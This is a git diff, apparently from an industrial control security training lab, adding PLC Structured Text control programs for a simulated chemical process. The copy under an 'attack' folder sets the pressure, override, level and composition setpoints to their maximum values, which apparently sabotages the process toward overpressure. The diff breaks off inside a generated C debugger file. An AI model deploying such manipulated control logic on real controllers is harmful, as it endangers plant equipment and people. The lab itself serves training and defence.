+FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), 